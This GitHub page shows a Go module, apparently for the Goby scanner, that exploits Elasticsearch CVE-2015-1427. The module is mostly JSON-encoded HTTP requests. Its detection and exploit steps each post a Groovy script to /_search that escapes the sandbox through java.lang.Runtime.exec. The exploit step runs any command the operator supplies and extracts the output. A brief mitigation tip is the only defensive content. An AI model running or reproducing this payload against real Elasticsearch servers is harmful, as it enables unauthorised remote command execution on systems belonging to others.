-
Notifications
You must be signed in to change notification settings - Fork 0
/
Elasticsearch_Remote_Code_Execution_CVE_2015_1427.go
198 lines (195 loc) · 5.61 KB
/
Elasticsearch_Remote_Code_Execution_CVE_2015_1427.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
package exploits
import (
"git.gobies.org/goby/goscanner/goutils"
)
func init() {
expJson := `{
"Name": "Elasticsearch Remote Code Execution CVE-2015-1427",
"Description": "The Groovy script engine before Elasticsearch 1.3.8 and the Groovy script engine in 1.4.x before 1.4.3 allow remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands through elaborate scripts.",
"Product": "Elasticsearch",
"Homepage": "https://www.elastic.co/cn/elasticsearch/",
"DisclosureDate": "2021-04-11",
"Author": "zhzyker",
"GobyQuery": "product=elasticsearch",
"Level": "3",
"Impact": "<p>In 2014, a remote code execution vulnerability (CVE-2014-3120) was exposed. The vulnerability appeared in the script query module. Since search engines support the use of script code (MVEL) as an expression for data manipulation, attackers can use MVEL Construct and execute arbitrary java code,</p><p>Later, the scripting language engine was changed to Groovy and a sandbox was added to control it. Dangerous codes would be intercepted. As a result, this time because the sandbox restrictions were not strict, it led to remote code execution.</p>",
"Recommandation": "<p>Close the groovy sandbox to stop the use of dynamic scripts:<br></p><pre><code>script.groovy.sandbox.enabled: false<br></code></pre>",
"References": [
"https://github.com/zhzyker"
],
"HasExp": true,
"ExpParams": [
{
"name": "cmd",
"type": "input",
"value": "whoami"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"ScanSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/website/blog/",
"follow_redirect": true,
"header": {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Accept-Language": "en",
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "{ \"name\": \"cve-2015-1427\" }"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "201",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/_search?pretty",
"follow_redirect": true,
"header": {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Accept-Language": "en",
"Content-Type": "application/text"
},
"data_type": "text",
"data": "{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"echo 460f7ccb583e25e09c0fe100a2c9e90d\\\").getText()\"}}}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "460f7ccb583e25e09c0fe100a2c9e90d",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "POST",
"uri": "/website/blog/",
"follow_redirect": true,
"header": {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Accept-Language": "en",
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "{ \"name\": \"cve-2015-1427\" }"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "201",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody"
]
},
{
"Request": {
"method": "POST",
"uri": "/_search?pretty",
"follow_redirect": true,
"header": {
"Accept-Encoding": "gzip, deflate",
"Accept": "*/*",
"Connection": "close",
"Accept-Language": "en",
"Content-Type": "application/text"
},
"data_type": "text",
"data": "{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{{{cmd}}}\\\").getText()\"}}}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "460f7ccb583e25e09c0fe100a2c9e90d",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]"
]
}
],
"Tags": [
"RCE"
],
"CVEIDs": null,
"CVSSScore": "0.0",
"AttackSurfaces": {
"Application": null,
"Support": null,
"Service": null,
"System": null,
"Hardware": null
}
}`
ExpManager.AddExploit(NewExploit(
goutils.GetFileName(),
expJson,
nil,
nil,
))
}